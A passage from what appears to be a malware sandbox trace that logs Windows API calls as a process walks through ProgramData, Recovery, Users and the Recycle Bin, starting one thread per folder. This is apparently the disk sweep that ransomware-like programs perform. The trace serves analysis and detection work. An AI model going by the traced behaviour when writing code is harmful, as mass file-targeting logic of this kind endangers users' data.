lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0085.587] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0085.588] wcscmp (_String1="Microsoft Help", _String2=".") returned 1 [0085.588] wcscmp (_String1="Microsoft Help", _String2="..") returned 1 [0085.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82bef0 [0085.588] wcscpy (in: _Dest=0x1b82bef0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.588] wcscat (in: _Dest=0x1b82bef0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0085.588] wcscat (in: _Dest=0x1b82bef0, _Source="Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500 [0085.589] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0085.589] wcscmp (_String1="Mozilla", _String2=".") returned 1 [0085.589] wcscmp (_String1="Mozilla", _String2="..") returned 1 [0085.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d8040 [0085.589] wcscpy (in: _Dest=0x1b7d8040, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.589] wcscat (in: _Dest=0x1b7d8040, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0085.589] wcscat (in: _Dest=0x1b7d8040, _Source="Mozilla" | out: _Dest="C:\\ProgramData\\Mozilla") returned="C:\\ProgramData\\Mozilla" [0085.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8040) returned 1 [0085.589] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0085.589] wcscmp (_String1="Oracle", _String2=".") returned 1 [0085.589] wcscmp (_String1="Oracle", _String2="..") returned 1 [0085.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d8040 [0085.589] wcscpy (in: _Dest=0x1b7d8040, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.589] wcscat (in: _Dest=0x1b7d8040, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0085.589] wcscat (in: _Dest=0x1b7d8040, _Source="Oracle" | out: _Dest="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle" [0085.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0085.590] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0085.590] wcscmp (_String1="Package Cache", _String2=".") returned 1 [0085.590] wcscmp (_String1="Package Cache", _String2="..") returned 1 [0085.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82bf40 [0085.590] wcscpy (in: _Dest=0x1b82bf40, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.590] wcscat (in: _Dest=0x1b82bf40, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0085.590] wcscat (in: _Dest=0x1b82bf40, _Source="Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bf40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0085.591] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0085.591] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0085.591] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0085.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d8080 [0085.591] wcscpy (in: _Dest=0x1b7d8080, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.591] wcscat (in: _Dest=0x1b7d8080, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0085.591] wcscat (in: _Dest=0x1b7d8080, _Source="Start Menu" | out: _Dest="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu" [0085.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c [0085.592] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0085.592] wcscmp (_String1="Sun", _String2=".") returned 1 [0085.592] wcscmp (_String1="Sun", _String2="..") returned 1 [0085.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82aa20 [0085.592] wcscpy (in: _Dest=0x1b82aa20, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.592] wcscat (in: _Dest=0x1b82aa20, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0085.592] wcscat (in: _Dest=0x1b82aa20, _Source="Sun" | out: _Dest="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun" [0085.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82aa20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510 [0085.593] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0085.593] wcscmp (_String1="Templates", _String2=".") returned 1 [0085.593] wcscmp (_String1="Templates", _String2="..") returned 1 [0085.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d80c0 [0085.593] wcscpy (in: _Dest=0x1b7d80c0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0085.593] wcscat (in: _Dest=0x1b7d80c0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0085.593] wcscat (in: _Dest=0x1b7d80c0, _Source="Templates" | out: _Dest="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates" [0085.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d80c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0085.594] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0085.594] FindClose (in: hFindFile=0x1b7ce940 | out: hFindFile=0x1b7ce940) returned 1 [0085.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a450) returned 1 [0085.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a480) returned 1 Thread: id = 94 os_tid = 0x51c [0085.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b82a4b0 [0085.600] wcscpy (in: _Dest=0x1b82a4b0, _Source="C:\\Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery" [0085.600] wcscat (in: _Dest=0x1b82a4b0, _Source="\\" | out: _Dest="C:\\Recovery\\") returned="C:\\Recovery\\" [0085.601] wcscat (in: _Dest=0x1b82a4b0, _Source="*" | out: _Dest="C:\\Recovery\\*") returned="C:\\Recovery\\*" [0085.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.601] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce940 [0085.602] wcscmp (_String1=".", _String2=".") returned 0 [0085.602] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.602] wcscmp (_String1="..", _String2=".") returned 1 [0085.602] wcscmp (_String1="..", _String2="..") returned 0 [0085.602] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 1 [0085.602] wcscmp (_String1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", _String2=".") returned 1 [0085.602] wcscmp (_String1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", _String2="..") returned 1 [0085.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1c60 [0085.602] wcscpy (in: _Dest=0x1b7c1c60, _Source="C:\\Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery" [0085.602] wcscat (in: _Dest=0x1b7c1c60, _Source="\\" | out: _Dest="C:\\Recovery\\") returned="C:\\Recovery\\" [0085.602] wcscat (in: _Dest=0x1b7c1c60, _Source="e9e23962-4a25-11e7-88e8-91fb2ec43f0b" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" [0085.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0085.603] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 0 [0085.603] FindClose (in: hFindFile=0x1b7ce940 | out: hFindFile=0x1b7ce940) returned 1 [0085.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4b0) returned 1 [0085.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4e0) returned 1 Thread: id = 95 os_tid = 0x814 [0085.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.605] wcscpy (in: _Dest=0x1b82cfe0, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0085.605] wcscat (in: _Dest=0x1b82cfe0, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0085.605] wcscat (in: _Dest=0x1b82cfe0, _Source="*" | out: _Dest="C:\\Users\\*") returned="C:\\Users\\*" [0085.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.605] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce940 [0085.605] wcscmp (_String1=".", _String2=".") returned 0 [0085.605] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.605] wcscmp (_String1="..", _String2=".") returned 1 [0085.605] wcscmp (_String1="..", _String2="..") returned 0 [0085.605] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0085.605] wcscmp (_String1="5p5NrGJn0jS HALPmcxz", _String2=".") returned 1 [0085.605] wcscmp (_String1="5p5NrGJn0jS HALPmcxz", _String2="..") returned 1 [0085.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82bf90 [0085.605] wcscpy (in: _Dest=0x1b82bf90, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0085.606] wcscat (in: _Dest=0x1b82bf90, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0085.606] wcscat (in: _Dest=0x1b82bf90, _Source="5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0085.606] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0085.606] wcscmp (_String1="All Users", _String2=".") returned 1 [0085.606] wcscmp (_String1="All Users", _String2="..") returned 1 [0085.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82a4e0 [0085.606] wcscpy (in: _Dest=0x1b82a4e0, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0085.606] wcscat (in: _Dest=0x1b82a4e0, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0085.606] wcscat (in: _Dest=0x1b82a4e0, _Source="All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82a4e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0085.607] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0085.607] wcscmp (_String1="Default", _String2=".") returned 1 [0085.607] wcscmp (_String1="Default", _String2="..") returned 1 [0085.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a450 [0085.607] wcscpy (in: _Dest=0x1b82a450, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0085.607] wcscat (in: _Dest=0x1b82a450, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0085.607] wcscat (in: _Dest=0x1b82a450, _Source="Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82a450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0085.608] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0085.608] wcscmp (_String1="Default User", _String2=".") returned 1 [0085.608] wcscmp (_String1="Default User", _String2="..") returned 1 [0085.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d8100 [0085.608] wcscpy (in: _Dest=0x1b7d8100, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0085.608] wcscat (in: _Dest=0x1b7d8100, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0085.608] wcscat (in: _Dest=0x1b7d8100, _Source="Default User" | out: _Dest="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0085.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0085.608] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.609] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0085.609] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0085.609] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0085.609] wcscmp (_String1="Public", _String2=".") returned 1 [0085.609] wcscmp (_String1="Public", _String2="..") returned 1 [0085.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab10 [0085.609] wcscpy (in: _Dest=0x1b82ab10, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0085.609] wcscat (in: _Dest=0x1b82ab10, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0085.609] wcscat (in: _Dest=0x1b82ab10, _Source="Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0085.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82ab10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0085.609] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0085.610] FindClose (in: hFindFile=0x1b7ce940 | out: hFindFile=0x1b7ce940) returned 1 [0085.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 Thread: id = 96 os_tid = 0x804 [0085.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b783ef0 [0085.611] wcscpy (in: _Dest=0x1b783ef0, _Source="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" [0085.612] wcscat (in: _Dest=0x1b783ef0, _Source="\\" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0085.612] wcscat (in: _Dest=0x1b783ef0, _Source="*" | out: 